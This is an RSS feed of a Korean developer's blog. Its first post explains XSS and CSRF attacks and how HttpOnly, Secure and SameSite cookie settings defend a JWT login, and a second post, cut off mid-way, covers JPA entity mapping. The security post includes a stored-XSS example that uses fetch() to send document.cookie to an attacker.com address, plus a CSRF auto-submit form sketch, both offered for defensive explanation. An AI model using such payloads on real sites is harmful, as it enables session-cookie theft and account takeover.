<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>dev-jong의 개발일지</title>
    <link>https://dev-jong.tistory.com/</link>
    <description>웹 개발자 준비하기</description>
    <language>ko</language>
    <pubDate>Sun, 12 Apr 2026 03:48:17 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>jongh0</managingEditor>
    <image>
      <title>dev-jong의 개발일지</title>
      <url>https://tistory1.daumcdn.net/tistory/7995902/attach/855656bd795a405b966a29913d7064bc</url>
      <link>https://dev-jong.tistory.com</link>
    </image>
    <item>
      <title>[XSS + CSRF] 공격에 대비한 쿠키 설정하기</title>
      <link>https://dev-jong.tistory.com/29</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;logo (1).png&quot; data-origin-width=&quot;580&quot; data-origin-height=&quot;320&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bTCIEQ/dJMb9Mpmfsy/jEHv4X4AIVfsbSaF4NkAwK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bTCIEQ/dJMb9Mpmfsy/jEHv4X4AIVfsbSaF4NkAwK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bTCIEQ/dJMb9Mpmfsy/jEHv4X4AIVfsbSaF4NkAwK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbTCIEQ%2FdJMb9Mpmfsy%2FjEHv4X4AIVfsbSaF4NkAwK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;580&quot; height=&quot;320&quot; data-filename=&quot;logo (1).png&quot; data-origin-width=&quot;580&quot; data-origin-height=&quot;320&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;이번에 마무리한 프로젝트에서 계정/보안 관련 업무를 담당하게 되었다. 기존에 단순한 암호화 없이 CRUD를 통해서 구현했던 로그인과 다르게 Spring Security를 통한 JWT 방식의 계정기능 구현을 하게 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;로그인이 인증되면, JWT 토큰을 사용자의 브라우저 Cookie에 담아주고 사용자는 다음 방문부터 DB를 거치지 않고 쿠키에 담긴 토큰을 통해서 Filter단에서 로그인처리가 완료된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;하지만 로그인정보가 담긴 JWT 토큰을 브라우저에 쿠키/세션에 담아 놓았을 때, 생기는 공격 취약점이 상당히 많이 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;공개적으로 널리 알려진 공격 중에서 대표적으로 사용되는 공격 2가지에 대해서 해당 게시물에서 다뤄보겠다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. XSS (Cross - Site - Scripting)&amp;nbsp;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;XSS 공격 : 공격자가 웹페이지에 악성 스크립트를 삽입하고 ,그 스크립트가 다른 방문자의 브라우저에서 실행되도록 하는 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주로 쿠키, 세션, 키로깅, 악성 리다이렉트, UI 위조 등 공격방법이 다양함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. Stored XSS (영구저장형)&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시판, 글, 코멘트 프로파일 설명처럼 서버 DB에 사용자가 입력한 내용이 젖아되어 여러 사용자가 열람할 때 실행됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 공격방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 공격자가 게시판에 &amp;lt;script&amp;gt;...&amp;lt;/script&amp;gt; 같은 페이로드를 입력하고 저장함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 다른 사용자가 해당 글을 열람하면서 HTML을 그대로 출력하는데 1번에서 저장한 페이로드가 그대로 실행되어짐&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 스크립트가 쿠키(세션), DOM 등에서 민감한 정보를 수집해서 공격자 서버로 전송 (탈취)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) &amp;lt;script&amp;gt;fetch(`https://attacker.com/steal?stealedCookie=' + document.cookie)&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 페이로드가 작성되면 공격자 도메인의 api 서버로 유저의 쿠키 값이 파라미터로 넘어가게 됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. Reflected XSS (반사형)&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;검색결과, 에러 메시지, 링크 파라미터 등 서버가 요청 파라미터를 바로 페이지에 반영해야 하는 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 공격방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 공격자가 URL에 악성 스크립트를 포함한 링크를 생성해둠: https://victim.com/search?q=&amp;lt;scripit&amp;gt;아까와&amp;nbsp;동일&amp;lt;/script&amp;gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 피해자에게 링크 클릭을 유도함 (이메일, 채팅 등)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 서버가 q 값을 검증/인코딩 없이 출력하면 그대로 페이로드 실행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2.&lt;/b&gt;&lt;b&gt; CSRF (Cross - Site - &lt;span style=&quot;background-color: #ffffff; color: #001d35; text-align: start;&quot;&gt;Request&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; - Forgery)&amp;nbsp;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CSRF 공격 : 사용자가 이미 인증된(쿠키를 보유한) 상태에서 공격자가 조작한 요청을 피해자의 브라우저가 사용자 대신 인증된 사이트에 전송하게 하여, 비정상적인 행위를 수행하게 하는 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 공격방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 사용자가 OfficialBank.com에 로그인 (세션/쿠키 보유)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 다른 탭에서 공격자가 만든 페이지(attacker.com) 방문 또는 메일의 이미지/스크립트가 로드됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 공격 페이지가 자동으로 &amp;lt;form action=&quot;https://OfficialBank.com/transfer&quot; method=&quot;POST&quot;&amp;gt; ... submit()&amp;lt;/form&amp;gt; 과 같은 요청을 만들어서 브라우저가 전송&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 브라우저는 OfficialBack.com의 쿠키(토큰)을 자동으로 포함하고, 은행서버는 정상 사용자의 요청으로 처리 -&amp;gt; 송금 등을 수행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같은 문제들에 대해서 해당 프로젝트에서 쿠키를 생성할 때, HttpOnly / Security + SameSite(none) 방식을 채택하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. HttpOnly&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HttpOnly 옵션은 JavaScript에서 쿠키/세션 등 접근이 불가능하도록 하는 옵션이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존에 window.cookie와 같은 코드를 통해서 공격자가 정보를 탈취해가려고 하는데, 쿠키에 HttpOnly 옵션을 추가하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 쿠키에 대해서 js에서 접근이 불가능해서 cookie값을 참조할 수 없도록 한다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. Security + SameSite(none)&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1번과 같이 HttpOnly 옵션을 채택해서 JS로 부터의 쿠키 접근을 제한할 수 있지만, 네트워크로 움직이는 패킷에서는 쿠키를 볼 수 있다. 그래서 Https 프로토콜 환경에서만 네트워크로 쿠키가 전송될 수 있도록 하는 옵션이 Security 옵션이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Http에서는 왜 쿠키전송을 막아야하는건지 궁금할 수 있다. Http와 Https의 큰 차이는 인증서를 포함시켜 송수신되는 데이터에 암호화를 적용 여부이다. Http 그 자체로 쿠키에 정보를 주고받는 와중에 하이재킹하여 쿠키를 탈취 당하게 되는 경우를 방지하기 위해서 Security 옵션을 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SameSite()의 경우 쿠키를 사용할 수 있는 범위를 제한하는 옵션이다. 쿠키를 발급한 도메인과 같은 도메인인지 여부를 확인해 쿠키 전송을 제한한다. 아까 예시로 든 https://OfficialBank.com 브라우저에서 공격자의 페이로드를 통해서 실행되는 공격자의&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt;form action = &quot;https://OffcialBank.com/transfer&quot; method=&quot;POST&quot;&amp;gt; ... submit() &amp;lt;/form&amp;gt; &lt;span style=&quot;letter-spacing: 0px;&quot;&gt;와 같은 공격에 대해서 요청 도메인명 이 https://OfficialBank...이 아닌 https://attacker.com 이므로 쿠키가 전혀 포함되지 않은 상태로 요청이 보내진다. 그러면 은행측 서버에서 쿠키가 없으므로 인증요청이 폐기되고 송금은 실패된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;근데 왜 SameSite(none) + secure 설정이냐면 SameSite를 None으로 설정하면 OAuth나 제3자 로그인 같은 외부 API 호출에서 쿠키 전송 제한으로 인한 기능 제약을 피할 수 있다. 대신 SameSite=None은 크로스사이트 요청에 쿠키가 전송되도록 허용하므로, 이를 보완하기 위해 Secure(HTTPS 전송만 허용)와 HttpOnly를 함께 설정하고 서버 측에서는 CSRF 토큰/Origin 검사 등 추가 검증을 적용한다. 이렇게 하면 쿠키는 전송 시 TLS(HTTPS)로 보호되고, 단순히 HTTP로 오는 요청이나 스니핑&amp;middot;중간자 공격으로부터는 안전해지며, 민감한 액션은 추가 인증으로 방어할 수 있다. &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;817&quot; data-origin-height=&quot;206&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6I5xg/dJMb9LRwiKS/cmESy0H5nH2JLLkbwFuY01/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6I5xg/dJMb9LRwiKS/cmESy0H5nH2JLLkbwFuY01/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6I5xg/dJMb9LRwiKS/cmESy0H5nH2JLLkbwFuY01/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6I5xg%2FdJMb9LRwiKS%2FcmESy0H5nH2JLLkbwFuY01%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;817&quot; height=&quot;206&quot; data-origin-width=&quot;817&quot; data-origin-height=&quot;206&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같은 코드로 설정이 가능하며, cookieValue 문자열에 쿠키 키이름 = 키값 , 부가적인 옵션 .... 을 추가하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;response.addHeader() 를 통해서 헤더에 &quot;Set-Cookie&quot; 라는 키 그리고 값으로 cookieValue를 넣어주면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러면 헤더에 Set-Cookie에 쿠키정보가 문자열로 담기면서 넘어가고, 브라우저측에서 자동으로 쿠키를 생성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 여기서 Cookie 객체를 만들어서 addCookie 메서드를 사용하지 않은 이유가 궁금할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;467&quot; data-origin-height=&quot;92&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Dezgv/dJMb8WZKQpJ/T3HVp1fhReZTmDChpaTgVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Dezgv/dJMb8WZKQpJ/T3HVp1fhReZTmDChpaTgVK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Dezgv/dJMb8WZKQpJ/T3HVp1fhReZTmDChpaTgVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDezgv%2FdJMb8WZKQpJ%2FT3HVp1fhReZTmDChpaTgVK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;467&quot; height=&quot;92&quot; data-origin-width=&quot;467&quot; data-origin-height=&quot;92&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 new Cookie() 메서드를 통해서 옵션을 추가해 줄 수도 있는데, 아쉽게도 cookie 객체내에 SameSite 옵션에 대해서는 다룰 수가 없다. 그래서 Response Header에 수동으로 추가해 주어야 SameSite 옵션을 사용할 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아직 허점은 존재한다. Https://attacker.com 으로 부터의 요청에서 페이로드 실행은 부가적인 설정으로 또 다시 검증해야 한다...&lt;/p&gt;</description>
      <category>보안</category>
      <author>jongh0</author>
      <guid isPermaLink="true">https://dev-jong.tistory.com/29</guid>
      <comments>https://dev-jong.tistory.com/29#entry29comment</comments>
      <pubDate>Tue, 21 Oct 2025 18:57:15 +0900</pubDate>
    </item>
    <item>
      <title>[JPA] @ManyToOne / @OneToMany Entity 알아보기  (4)</title>
      <link>https://dev-jong.tistory.com/28</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;이전 JPA 2번 게시물에서는 N:1 (Board : Member) 에 대한 예제에 관해서 Entity 구조에 대해서만 다루었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 게시물에서는 Board / Member 테이블 사이에 있어서 Like 테이블을 추가하여 좋아요기능을 추가해보려고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어떤 사용자가 특정 게시물에 좋아요를 누르게 되면 Like 테이블에 어떤 사용자가 어떤 게시물에 좋아요를 눌렀는지 데이터가 추가된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 그 테이블을 기반으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 특정 사용자가 어떤 게시물들에 좋아요를 눌렀는지에 대해서 조회할 수 있도록하고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 특정 게시물이 어떤 사용자들로 부터 좋아요를 받았는지를 조회할 수 있도록 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구조는 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존에 Board - Member에 대해서만 다루고 있었다면 지금은 중계테이블 처럼&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Board - Like - Member 구조가 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 1번 사용자가 1번 2번 3번 게시물에 좋아요를 누르면 Like 테이블에 1-1,1-2,1-3 과 같이 데이터가 등록되고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1번사용자가 어떤 게시물에 대해서 좋아요를 눌렀는지는 Like 테이블에서 1번 사용자에 대한 여러 개의 게시물을 조회하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 1번 게시물에 1번 2번 3번 사용자가 좋아요를 눌렀다면 Like 테이블에 1-1, 2-1, 3-1 과 같이 데이터가 등록되고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1번 게시물에 어떤 사용자들이 좋아요를 눌렀는지는 Like 테이블에서 1번 게시물에 대한 여러 개의 사용자를 조회하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 구조를 다루는 테이블 생성에 대한 Entity에 대해서 알아보자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[MemberEntity]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1477&quot; data-origin-height=&quot;1067&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CR8Cx/btsQmfTa8ox/QASh8nO2d6XJ7iSD1BzeKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CR8Cx/btsQmfTa8ox/QASh8nO2d6XJ7iSD1BzeKK/img.png&quot; data-alt=&quot;MemberEntity&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CR8Cx/btsQmfTa8ox/QASh8nO2d6XJ7iSD1BzeKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCR8Cx%2FbtsQmfTa8ox%2FQASh8nO2d6XJ7iSD1BzeKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1477&quot; height=&quot;1067&quot; data-origin-width=&quot;1477&quot; data-origin-height=&quot;1067&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;MemberEntity&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;@Entity 어노테이션을 통해서 해당 클래스가 영속성 컨텍스트를 다루는 Entity 클래스임을 명시하고,&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;@Table 어노테이션을 통해서 생성될 테이블 이름을 지정한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 작업에 필요한 필드값을 참조하고 브라우저 요청으로부터 데이터를 받아올때 JSON 파싱을 위한&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;@Getter 어노테이션을 사용하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필드는 no, userId, userPwd, userNick, delYn, createAt, updateAt이 있고 해당 게시물에서 가장 중요한 likeEntityList라는 필드가 존재한다. 해당 Table에 기본키 설정으로 no에는 @Id 어노테이션과 @GeneratedValue 어노테이션을 통해서 Seq가 1씩 오르도록 설정하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 likeEntityList에는 @OneToMany 어노테이션이 적혀있는데 여기서는 각 MemberEntity에 대해서 해당 사용자가&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어떤 게시물에 대해서 좋아요를 눌렀는지에 대한 좋아요리스트를&amp;nbsp; 받아오는 필드이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;mappedBy 옵션을 채우는 것은 필수적인데, LikeEntity 클래스 내에서 어떤 필드와 연관지어서 OneToMany 관계를 이루는지 설정해주어야한다. (이때 필드명을 정확히 동일하게 적어주어야함)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추가적으로 orphanRemoval과 cascade 옵션이 있는데 고아Entity가 생긴경우 자동삭제와 같은 기능을 도와준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;827&quot; data-origin-height=&quot;658&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/saHVa/btsQke89HrA/Buzm8sNLviTjuZaOSbuQVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/saHVa/btsQke89HrA/Buzm8sNLviTjuZaOSbuQVK/img.png&quot; data-alt=&quot;MemberEntity 기본생성자 및 from 메서드&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/saHVa/btsQke89HrA/Buzm8sNLviTjuZaOSbuQVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsaHVa%2FbtsQke89HrA%2FBuzm8sNLviTjuZaOSbuQVK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;827&quot; height=&quot;658&quot; data-origin-width=&quot;827&quot; data-origin-height=&quot;658&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;MemberEntity 기본생성자 및 from 메서드&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MemberEntity 기본 생성자에 Entity 객체가 생성될때 기본적으로 설정되어야 할 속성에 대해서 설정해주고 있다. delYn는 소프트 딜리트 필드로 생성시 기본적으로 N이어야 하고, 생성일자가 적혀있을 createdAt 에는 LocalDateTime 클래스의 now() 메서드를 통해서 값을 채워준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 from 메서드는 dto로 받아온 객체를 영속성 컨텍스트로 다루기 위한 Entity 객체로의 형변환 해주기 위한 메서드이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[BoardEntity]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1432&quot; data-origin-height=&quot;1070&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfUDBl/btsQkk9liRP/N9NkxF2rwxOn59ENOGsn10/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfUDBl/btsQkk9liRP/N9NkxF2rwxOn59ENOGsn10/img.png&quot; data-alt=&quot;BoardEntity&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfUDBl/btsQkk9liRP/N9NkxF2rwxOn59ENOGsn10/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbfUDBl%2FbtsQkk9liRP%2FN9NkxF2rwxOn59ENOGsn10%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1432&quot; height=&quot;1070&quot; data-origin-width=&quot;1432&quot; data-origin-height=&quot;1070&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;BoardEntity&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
